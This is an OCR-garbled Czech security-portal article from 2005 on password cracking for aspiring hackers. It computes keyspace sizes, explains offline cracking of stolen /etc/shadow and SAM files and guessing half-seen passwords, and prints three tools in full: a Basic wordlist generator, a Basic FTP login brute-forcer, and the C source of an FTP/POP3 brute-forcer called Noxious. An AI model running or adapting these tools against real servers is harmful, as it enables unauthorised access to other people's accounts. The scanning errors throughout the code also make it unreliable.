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Hesla a bruteforce

Vlozil/a el tenedor del ... [1], 13 Prosinec, 2005 - 18:04

e Cracking [2]
e Hacking [3]
e Programming [4]

Ochrana heslem spadé do kategorie Security by obscurity - pro vstup je potreba néjaka znalost,
kterd se predpoklada u opravnéného uzivatele. Pro uzivatele neopravnéného zlstava utajena. Lidi, a
hackefi zvlasté, maji tajemstvi sice radi, ale to jen proto, aby je mohli rozlousknout.

Zakladnim problémem, trapicim snad kazdého zacinajiciho radobyhackera, je, jak hacknout tomu ci
onomu uzivateli heslo k mejlu, administratorské heslo do Windows, nebo néjaké jiné heslo. A jednim
z prvnich programd. se kterymi se takovy jedinec setkd, byvd WWWhack nebo Brutus.

Pro ty méné zkusSené, a pro ty, kdo se chtéji nadsené a nekriticky vrhnout na louskani hesel pomoci
svého pocitace s bahvijak vykonnym procesorem, jsem stvoril tento ¢lanek, vznikly Gpravou mych
starsich prispévkl na http://forum.security-portal.cz/ [5]

Takze jak na ta hesla?

Abeceda (ASCII) ma 26 malych pismen. Pocet hesel, ktera Ize z pismen sloZit, je poCet pismen na
pocet pozic. Jednopismennych hesel mize byt 27, dvoupismennych 27x27, tfipismennych 27x27x27.
JenZe lidi nejsou volové, v heslech se mohou vyskytovat ¢islice, téch je deset, nebo rlizné paznaky.
Pokud vase heslo nevypada jako b f@l#m$p~s~v&z123, neni to heslo.

Obcas mame systémy case sensitive, Windows k nim plvodné nepatrily, ale vSechny UNiXy ano.
malych. To jest celkem 95 pouzitelnych znak(l (a to jsme nepoditali s tim, Ze by si tam nékdo dal
¢estinu, pak by pocet pismen byl vyssi).

Pokud jde o desetipismenné heslo, je pocet kombinaci 95710, coz je Cislo s devatendacti nulami
(skoro Sedesat triliard).

Vratme se pro jednoduchost Gvahy k tomu, Ze obét pouziva jenom mald pismenka bez ni¢eho. 27
znakad.

Odkud Ze vime, Ze heslo ma presné 10 znakl? Nevime. Rozhodneme se tedy testovat néjakou
rozumnou S$ifi, feknéme od ¢tyr do dvanacti znakd. Kolik riznych hesel splnujicich tyto parametry
existuje?

Vezmeme si na pomoc néjaky programovaci jazyk.

Pro jednoduchost jsem zvolil Chipmunk Basic, ktery je jednoduchy a snadno pochopitelny pro
zacatelniky, pokrocilejSim pak umozni snadno si program prepsat a upravit pro svoje oblibené
vyvojové prostredi (RapidQ, Perl, ...). Jeho vyhodou je pfijemna cena "zdarma" a multiplatformnost -
Apple, Windows, Linux - www.nicholson.com/rhn/basic/ [6] a hlavné 01d5k001 5ty13 (peklo oziva,
démon se probouzi, klasika sedmdesatych let se vraci).

Program se po viozeni doChipmunk Basicu spusti povelem run.

Vypocet v ChipmunkBasicu pro obecny pocet znakd a obecny rozsah hesla vypada takto:

10 i nput "Vel i kost moziny znaku:";z

20 input "Heslo ma pisnen od ";q

30 input "do ";w

40 if g > wthen goto 20

50r =0 : for a=qtow: r =r+(z"a) : next a
60 print "Paranetrumvyhovuje ";r;" hesel."
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Pro 27, 4..12 je vysledek 1.5el7 (cislo se sedmndcti nulami). A to jsme se prosim vzdali vsech
paznakdl, které v dobrém hesle ovsem ocekavame!

Zkuste si vynasobit, kolik let (stoleti, milién{ let, miliard let, ...) budete potrebovat na vyzkousenfi
takového kvanta hesel. To dfive vas pocitac zastara, nez par hesel lousknete.

Zkuste si do programu doplnit jiné vstupni Udaje - zkuste zkracovat a prodluzovat heslo, pfidavat a
ubirat znaky, a sledujte, co to déla s poctem vyhovujicich hesel.

Co z toho vseho plyne?

Bruteforce je na nic.

Zvyknéte si, ze rozumné hacknutelni jsou jen ti, co si voli samozrejma nebo slovnikova hesla. Jakmile
ale k takovému (ne)heslu pridaji byt jedinou cislici nebo paznak, uz nejsou dosazitelni slovnikovym
Utokem. U slovnikového utoku obvykle vite, kolik hesel slovnik obsahuje, takze do popredi vyvstava
spi$ problém vhodné volby slovniku nez co jiného. Casovéa narocnost je linedrni s velikosti slovniku,
takze snadno odhadnutelnd. Dobry zvyk je taky pamatovat si, jakd defaultni hesla davaiji vyrobci
toho kterého pocitace, routeru, opera¢niho systému, pfipadné programu (mailserver, firewall, ...),
pokud néjaky nedbaly spravce zapomene heslo zménit, méate u néj vstup volny. Pokud ale zvolené
heslo neni slovnikové (podivejte se na nékteré seznamy hesel z hacknutych server( a zjistite, ze
hesla ve valné vétsiné slovnikova jsou a hackuji se relativné snadno), je lepsi neztracet ¢as a na
bruteforce radéji zapomenout.

Asi by se hodilo napsat, na co tedy bruteforce vlastné je.

Bruteforce je limitovan rychlosti pfipojeni, kterd neni nekonecné rychld, a pocty kombinaci.

Chci-li ho pouzivat, pak musim:
1) obejit rychlost pripojeni
2) snizit poc¢et moznych kombinaci hesel

Tedy, louskat hesla tak, Ze si stdhnu tfeba soubor /etc/shadow nebo SAM soubor z Windows 2000/XP,
PWL z Windows 95/98. A na lokdInim pocitaci ho podrobit dejme tomu slovnikovému Utoku. Nemusim
Cekat, az vzdaleny pocitac prijme login, heslo, a potvrdi (nebo naopak odmitne) spojeni. Tim jsem
ziskal rychlost. Z0stavé ale jesté nutnost pocvicit si dal$i schopnosti ziskavanim inkriminovaného
souboru s hashovanymi hesly.

DalSi moznost, na kterou je BF délany, je louskani ¢aste¢né znamého hesla.

Dejme tomu, Ze vidim, jak obét tukd desetiznakové heslo. Protoze si dadva pozor, abych to nevidél,
vSimnu si jen prvnich péti pismen, zavérecné Cislice a toho, Ze pri psani zbylych znak{ obét mackala
dvakrat shift.

TakZe si nadefinuju symbol pro nezndmy znak, preddefinuju délku hesla na deset znak{, doplnim
znaky, kterych jsem si vSimnul, obor dosazovanych znakd malé pismena + ¢isla bych mél obohatit
(diky mackanému shiftu) bud o paznaky nebo velkd pismena. Vlastné tak hleddm jen Ctyrpismenné
heslo (Ctyri znaky, kterych jsme si nevSimnul). To uz je v nejhorsim pfipadé (vSechny mozné znaky)
jen néco pres 80 miliond kombinaci.

Zvyknéte si na to, ze existuji i obtizné hackovatelné, relativné dobre zabezpecené pocitace. Aspon ja
jsem jenom rad, Ze existuje jednoduchy zplsob, jak mizu sebe i svlj pocita¢ ochranit pred blbci s
WWWhackem v ruce!

Kdyz uz je fe¢ o WWWhacku a pribuznych zr@dach, ukazme si generatorek "wordlistl". Presnéji,
nejde o klasicky slovnikovy Utok, kde se pouzivaji jen definovand "smysluplna" slova, ale generator
passwordlistu pro bruteforce attack, ktery vygeneruje vsechny kombinace hesel, které Ize vytvofit ze
zadané mnoziny znak{ a se zadanymi délkami. Pritom jen tak mimochodem pocitd, kolik hesel dané
parametry splfiuje (to tu uz jednou bylo).

Pokud v programu radek "55 print p$" prepiSete na "55 print #1,p$", budou se hesla vypisovat do
souboru, nikoliv na obrazovku, a vznikly soubor pak Ize pouzit jako wordlist pri offline Gtoku (nebo i
online, ale pak si nékde sezente nesmrtelnost, protoze to potrva nejspis véky).
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9 cls : print

10 prlnt LR R R S S R R S S S

11 print "* wordlist generator *"
12 print "* the Hacking Squad_ *"

13 pl’lnt LR S R I b I b S b S I O S S L
14 print : x$ =""
15 print "Include |owercase [a,b,c,..,z]?" : gosub 100

16 if i$ = "1" then x$ = x$+"abcdef ghi j kl mmopgr st uvwxyz"
17 print "Include uppercase [A B, C,..,Z]?" : gosub 100
18 if i$ ="1" then x$ = x$+" ABCDEFGHI JKLMNOPQRSTUVWKYZ"
19 print "Include nunbers [1,2,3,..,0]?" : gosub 100

20 if i$ = "1" then x$ = x$+"0123456789"

21 print "lInclude punctation? [.,!?";:]?" : gosub 100

22 if i$ ="1" then x$ = x$+".,1?2";:"

23 print "lInclude operators [+-*/&()<>=]?" : gosub 100
24 if i$ ="1" then x$ = x$+"+*/ &) <>="

25 print "Include synbols [ @$% {}[]1]|\ ~]?" : gosub 100
26 if i$ ="1" then x$ = x$+" @S _{}[]]\ ~"

27 print "lInclude space [ ]?" : gosub 100

28 if i$ ="1" then x$ = x$+" "

30 print : print x$ : print |en(x$)

31 print "Password length:" : input "Fron? (including) ";q
32 input "To? (including)";w: if g > wthen goto 31
35r =0 : fora=qgtow: r =r+((len(x$))”a) : next a
36 print "Passwords to generate:" : print r

37 print "Proceed?" : gosub 100

38 if i$ <> "1" then stop

39 dime(w) : for a=1tow: e(a) =1: next a

40 open "wordlist.txt" for output as #1

42 for | = g to w
43 r =1
44 if e(r) =len(x$) then e(r) =1 : r =r+l

45 if r > 1 then goto 80

46 if e(r) = len(x$) then goto 44

47 e(r) = e(r)+1

50 p$ = ""

51 for b =1to | : p$ = p$+m d$(x$, e(b),1) : next b
55 print p$

56 goto 43

80 next

85 cl ose #1

99 stop

100 input "(yes/no):";i$

101 if i$ ="" then goto 100

102 if left$(is, 1) ="y" or left$(i$ 1)
103 if left$(is, 1) = "n" or left$(is, 1)
104 goto 100

110 if i$ = "1" then print "VYes."

111 if i$ = "0" then print "No."

112 return

"Y' then i $
"N' then i$

"1" . goto 110
"0" . goto 110

Kdyz uz jsem v tom, kouknul jsem se na pouziti socketu v Chipmunku a napsal dalsi program jako
prispévek k tématu "jak funguje WWWhack a podobné bruteforcery".

Program je v zasadé primitivni, mél by byt pochopitelny, predvadi, jak je mozné Gtocit na FTP server.
Je postaven na tom, Ze FTP se po pfipojeni na port 21 prihlasuje pomoci prikazl USER a PASS, server
vam odpovidd pomoci hldsek, které jsou na zac¢atku ocislované - 230 je OK, které vdm posle po
prihldseni, 530 naopak oznacuje nelspésny prihlasovaci pokus.
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Wordlistem se mysli textovy soubor se seznamem hesel - ty Ize bud najit na netu, nebo si je nechat
vygenerovat predchozim programem.
5 print "Let's BF the FTP."

6 input "Server URL:";server$

8 input "Try usernane:";user$

10 input "Wordlist file name:";w $

28 open W $ for input as #1

30 open "socket:"+server$, 21 for input as #2
32 open "socket:"+server$,21 for output as #3
34 print "Press 'Q to stop and quit."

35 gosub 850 : print i$

40 print #3,"USER "+user$

42 gosub 850

44 if len(i$) < 3 then goto 920

46 if left$(i$, 3) <> "331" then goto 920

50 i nput #1, pass$

52 if eof(1l) <> 0 then goto 930

65 print "User:";user$;" Password:"; pass$

70 print #3,"PASS "+pass$

72 gosub 850

75 if len(i$) < 3 then goto 920

77 if left$(i$, 3) = "530" then goto 40

80 if left$(i$, 3) <> "230" then goto 920

85 prlnt Mxkdkhxkddkxdkddxxdx"

86 print "Password found:";pass$

87 prlnt LIS Sk Sk Rk Sk Sk kS

800 goto 950

850 input #2,i$ : if i$ <> "" then return
851 b$ = inkey$ : if b$ = "qg" or b$ = "Q then goto 900
855 goto 850

900 print "Q pressed. Programterni nated."
910 goto 950

920 print "Error. Something is wong."

925 goto 950

930 print "End of wordlist reached."

935 goto 950

950 cl ose #2 : cl ose #3

955 cl ose #1

Nakonec, at zije OpenSource, na disku se mi vali Céckovy zdrojak bruteforceru Noxious od skupiny
Nexus 9, tak ho sem davam jako ukazku, Ze princip je stale tentyz a i pri pouziti rlznych
programovacich jazykd se neméni (jenom si vSimnéte, jak je program v Basicu kratsi a tudiz l1épe
pochopitelny).
/* noxious.c

ftp and pop3 brute forcer

programed by Kuno of Nexus 9

Nexus 9 :: Macintosh Underground Devel opnent Wth C ass

kdx:// nexus9. no-i p.com 10700

© Copyright Kuno 2004

*/

#i ncl ude <stdio. h>
#i ncl ude <stdlib. h>
#i ncl ude <string. h>
#i ncl ude <errno. h>
#i ncl ude <string. h>
#i ncl ude <netdb. h>

"
4

ncl ude <sys/types. h>
ncl ude <netinet/in. h>
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#i ncl ude <sys/socket.h>
#i ncl ude <uni std. h>
char nexus9[] = "\x6e\x65\x78\ x75\x73\ x39"; /* behold */
char address|[50];
struct hostent *he;
struct sockaddr _in their_addr
i nt sockfd;
int port = 21;
FILE *fp
char buf[1024];
int ulen, plen;
char appnane[ 20] ;
char password[50], iuser[50];
char passwd[ 50], user[50];
int ftp = 0, pop3 = 0, connects = 0, first_attenpt = 1, interval = 5
voi d usage(char *appnane);
voi d buil d_socket (char *address);
voi d do_connect ftp(void);
voi d send_login ftp(char *user, char *passwd, char *password);
voi d do_connect _pop3(void);
voi d send_l ogi n_pop3(char *user, char *passwd, char *password);
voi d usage(char *appnane)
{
printf("Usage: % <host> <usernanme> <wordlist> <protocol > [<interval >]\n",
appnane) ;
printf("\t<host> : the target ip\n");
printf("\t<usernanme> : usernanme for |logging in\n");
printf("\t<wordlist>: path to the wordlist\n");
printf("\t<protocol> : \"ftp\" for ftp and \"pop3\" for pop3\n");
printf("\t<interval> : the anmount of seconds between every 5 tries, default

5\n");
exit(1);
}
int main(int argc, char *argv[])
{

printf("Noxious 1.0 - progranmed by Kuno\n");
printf("Nexus 9 :: Macintosh Underground Devel opnent Wth Cass.\n");
strcpy(appname, argv[O0]);
(argc <= 4 || argc >=7)
usage( appnane) ;
((strcnp(argvi4], "ftp")) == 0)

ftp = 1;
((strcnp(argv[4], "pop3")) == 0)
{
pop3 = 1;
port = 110;
}
(ftp == 0 && pop3 == 0)
{
printf("You entered an incorrect protocol option\n");
usage( appnane) ;
}
(argv[5])

interval = atoi(argv[5]);
strcpy(address, argv[1]);
strcpy(iuser, argv[2]);
snprintf(user, 50, "USER %\n", iuser);
ulen = strlen(user);
((fp = fopen(argv[3], "r")) == NULL)
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{
printf("Error |oading wordlist\n");
exit(1l);
}
('feof (fp))
{
fget s(password, sizeof (password), fp);
(ftp == 1)
{
bui | d_socket (address) ;
do_connect _ftp();
snprintf(passwd, 50, "PASS %\r", password);
plen = strlen(passwd);
plen += 1,
send_l ogi n_ftp(user, passwd, password);
}
{ (pop3 == 1)
buil d_socket (address);
do_connect _pop3();
snprintf(passwd, 50, "PASS %\r", password);
plen = strlen(passwd);
send_| ogi n_pop3(user, passwd, password);
}
cl ose(sockfd);
(connects == 5)
{
sl eep(interval);
connects = O;
}
}
fclose(fp);
0;
}
voi d buil d_socket (char *address)
{
((he=get host byname(address)) == NULL)
{
herror ("get host bynanme") ;
exit(1);
}
their_addr.sin_famly = AF_I NET
their_addr.sin_port = htons(port);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
((sockfd = socket (AF_I NET, SOCK STREAM 0)) == -1)
{
perror ("socket");
exit(1);
}
}
voi d do_connect _ftp(void)
{
(connect (sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) ==
_l)
{
perror("connect");
exit(1);
}

recv(sockfd, buf, sizeof(buf), 0);
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(first_attempt == 1)
printf("Banner: 9%\n\n", buf);
(bUf[O] = "'1" && buf[l] == '2' && bUf[Z] ::-0.)
{

}
bzero(buf, 1024);

first _attenpt = O;
connect s++;

printf("%", buf);

}
voi d send_l ogi n_ftp(char *user, char *passwd, char *password)
{
send(sockfd, user, ulen, 0);
recv(sockfd, buf, sizeof(buf), 0);
(buf[0] '= "3 && buf[1] !'="3" && buf[2] I="1")
{
printf("Usernanme not ok\n");
exit(1);
}
bzero(buf, 1024);
printf("Trying: %", password);
send(sockfd, passwd, strlen(passwd), 0);
recv(sockfd, buf, sizeof(buf), 0);
(buf[0] =="'5" && buf[1] =="'0" && buf[2] == "0")
{
printf("Unknown conmand, sonething is wong.\n");
exit(0);
}
(buf[0] == "'2" && buf[1] == "3" && buf[2] == "0")
{
printf("Login Successful!\n");
printf("The password is %", password);
fclose(fp);
exit(0);
}
bzero(buf, 1024);
bzero( passwd, 50);
}
voi d do_connect _pop3(voi d)
{
(connect (sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) ==
_l)
{
perror("connect");
exit(1);
}
recv(sockfd, buf, sizeof(buf), 0);
(first_attenpt == 1)
printf("Banner: %\n\n", buf);
(buf[0] == "'-" && buf[1l] == "E && buf[2] == 'R && buf[3] == 'R)
{
printf("%", buf);
exit(1);
}
bzero(buf, 1024);
first _attenpt = O;
connect s++;
}

voi d send_| ogi n_pop3(char *user, char *passwd, char *password)
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{
send(sockfd, user, ulen, 0);
recv(sockfd, buf, sizeof(buf), 0);
(buf[0] == "'"-" && buf[1l] =="E && buf[2] == 'R && buf[3] == 'R)
{
printf("Usernanme not ok\n");
exit(1);
}
bzero(buf, 1024);
plen += 1;
printf("Trying: %", password);
send(sockfd, passwd, strlen(passwd), 0);
recv(sockfd, buf, sizeof(buf), 0);
(buf[0] == "+" && buf[1l] =="'0 && buf[2] == "K')
{
printf("Login Successful!\n");
printf("The password is %", password);
fclose(fp);
exit(0);
}
bzero(buf, 1024);
bzero( passwd, 50);
}

No a to by mohlo byt zatim k tématu vSechno.

URL clanku: https://security-portal.cz/clanky/hesla-bruteforce
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